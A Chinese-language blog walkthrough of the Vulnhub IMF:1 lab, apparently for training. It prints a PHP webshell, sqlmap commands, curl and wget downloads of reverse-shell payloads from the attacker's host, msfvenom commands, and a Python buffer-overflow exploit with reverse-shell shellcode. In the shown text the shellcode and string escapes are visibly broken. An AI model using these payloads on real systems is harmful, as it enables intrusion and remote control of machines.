Vulnhub-靶机-IMF: 1

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/imf-1,162/

nmap -p- -n -sC -sV 192.168.5.145 -o imf.nmap

目录猜解没有猜解出来,看看目标web

 有3个选项卡,分别点击3个选项卡网页上发现什么敏感内容,尝试看每个网页的源代码,发现contact.php的源码页面看到第一个flag

flag1{YWxsdGhlZmlsZXM=}
YWxsdGhlZmlsZXM= 根据特征可以猜测是base64进行编码的,这里进行解码看看
解码后的信息如下:

allthefiles

通过搜索页面的等号发现另一个base64编码的信息

解码后结果

 yYXRvcg==}  发现解码出来的信息还是类似base64编码,感觉问题很大,不像是base64编码,然后想了想,发现如下信息可能是连贯的

将其拼接起来解码看看 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

得出了flag2 

flag2{aW1mYWRtaW5pc3RyYXRvcg==}   将aW1mYWRtaW5pc3RyYXRvcg== 解码后得出 imfadministrator

根据上面得到的imfadministrator 放在web上试试看,发现可以访问,显示一个登陆页面

根据目标靶机上的URL,显示的联系人,使用burp进行暴力破解,无果,然后更改密码作为数组为空传给服务端试试

得出falg3的base64编码Y29udGludWVUT2Ntcw==  将其解码得出如下结果:

continueTOcms

得到上述结果的时候显示的页面提供了一个cms页面

访问看看

访问这个cms的结果如下:

初次看到这类带问号的页面, 丢了一个单引号过去,发现存在sql注入漏洞

这种情况就直接使用sqlmap进行注入,不过这里得注意了,因为是登陆之后发现的注入点,那么在注入的时候是需要带入登陆成功的cookie,所以我这直接复制保存对应的http请求包使用sqlmap -r参数进行注入

GET /imfadministrator/cms.php?pagename=disavowlist HTTP/1.1
Host: 192.168.5.145
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.5.145/imfadministrator/cms.php?pagename=home
Cookie: PHPSESSID=tilm340t4jb64ubgal047l74h4
Connection: close

最终我使用了如下测试参数获取了目标信息:

sqlmap -r flag3imfsqlinj.txt --smart --batch -D admin -T pages -C id,pagedata,pagename --dump-all  

具体sqlmap使用操作可以看我的公众号或者B站视频都有介绍

根据注入的结果获得图片的路径

http://192.168.5.145/imfadministrator/images/whiteboard.jpg

看到图片上有二维码,拿起手机扫描下二维码,得出 flag4{dXBsb2Fkcjk0Mi5waHA=}

将上面的base64编码进行解码得出结果为:uploadr942.php

然后试着访问http://192.168.5.145/imfadministrator/uploadr942.php 发现居然可以访问

上述是个上传页面,我们尝试上传看看,经过尝试,先上传一个正常的图片使用burp抓包,然后使用如下代码通过burp重放上传成功执行命令的shell

GIF89a
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

 

获得 flag5{YWdlbnRzZXJ2aWNlcw==}  将此编码进行解码得到结果是:agentservices

这里使用反弹shell方式反弹到了本地kali,类似如下操作

使用kali自身php反弹shell脚本
cp /usr/share/webshells/php/php-reverse-shell.php shellbmfx.php
将上述代码监听的本地IP地址改为kali的IP地址192.168.5.130 监听端口是8855
当前目录执行php脚本开启简易web服务器
php -S 192.168.5.130:4488
本地kali监听端口
nc -lvnp 8855

curl%20-O%20http://192.168.5.130:4488/shellimf.txt;mv%20shellimf.txt%20shellimf2.php

下载到目标靶机然后访问即可反弹

拿到反弹shell权限,方便操作之后开始根据提示进行搜索

看着这一生像是有代理服务,既然有了目标靶机的权限可以尝试看看,搜索一下

使用命令如下:find / -name agent &>/dev/null

发现关键字agent,找到如下信息:

查看access_codes 发现有3个端口,这意思又是要使用knock进行敲击

使用knock进行敲击

多敲击了几次,然后再使用nmap进行7788端口扫描,因为拿到目标的权限查看网络连接获得开放代理的端口就是7788

 

 

这里为了方便使用metasploit玩玩,使用它的端口转发功能玩下,大致操作命令如下:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.130 LPORT=4444 -f elf > bmfximfexp

php -S 192.168.5.130:4488

wget http://192.168.5.130:4488/bmfximfexp
chmod 777 bmfximfexp

下载到目标靶机之后执行

./bmfximfexp

成功通过metasploit反弹

使用metasploit将目标靶机7788端口进行了端口转发到本地

然后可以通过nc的方式或者metasploit的方式将目标靶机的agent文件下载到本地kali下进行分析

nc -l -p 9999 > agent
nc 192.168.1.124 9999 < /usr/local/bin/agent

获取了agent在本地进行分析,这方面我不是太擅长,先放着,需要看分析的可以移步至下列地址观看

https://g0blin.co.uk/imf-vulnhub-writeup/

https://habr.com/en/post/318814/

https://acebombersecurity.wordpress.com/2016/11/06/imf-1-walkthrough-vulnhub/

通过生成shellcode 代码

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "x00x0ax0d"

kali@kali:~/Downloads/imf$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "x00x0ax0d"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
buf =  b""
buf += b"xb8x55xf0x23x37xdaxd3xd9x74x24xf4x5ax2b"
buf += b"xc9xb1x12x83xeaxfcx31x42x0ex03x17xfexc1"
buf += b"xc2xa6x25xf2xcex9bx9axaex7ax19x94xb0xcb"
buf += b"x7bx6bxb2xbfxdaxc3x8cx72x5cx6ax8ax75x34"
buf += b"xadxc4x83x46x45x17x8cx64x3bx9ex6dxd8x25"
buf += b"xf1x3cx4bx19xf2x37x8ax90x75x15x24x45x59"
buf += b"xe9xdcxf1x8ax22x7ex6bx5cxdfx2cx38xd7xc1"
buf += b"x60xb5x2ax81"

对应写好的Python利用代码如下:

 这里地址需要更改为实际情况的地址,因为我这里使用了端口转发的方式将目标靶机的端口转发到本地,所以是写的本地地址

import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('localhost', 7788))
client.recv(512)
client.send("48093572
")
client.recv(512)
client.send("3
")
client.recv(512)

# shellcode from msfvenom
buf =  b""
buf += b"xb8x55xf0x23x37xdaxd3xd9x74x24xf4x5ax2b"
buf += b"xc9xb1x12x83xeaxfcx31x42x0ex03x17xfexc1"
buf += b"xc2xa6x25xf2xcex9bx9axaex7ax19x94xb0xcb"
buf += b"x7bx6bxb2xbfxdaxc3x8cx72x5cx6ax8ax75x34"
buf += b"xadxc4x83x46x45x17x8cx64x3bx9ex6dxd8x25"
buf += b"xf1x3cx4bx19xf2x37x8ax90x75x15x24x45x59"
buf += b"xe9xdcxf1x8ax22x7ex6bx5cxdfx2cx38xd7xc1"
buf += b"x60xb5x2ax81"

# padding
buf += "A" * (168 - len(buf))

# call eax gadget
buf += "x63x85x04x08
"
client.send(buf)

然后在kali上执行

执行执行使用nc本地监听端口

成功拿到flag6

flag6{R2gwc3RQcm90MGMwbHM=}



迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13578418.html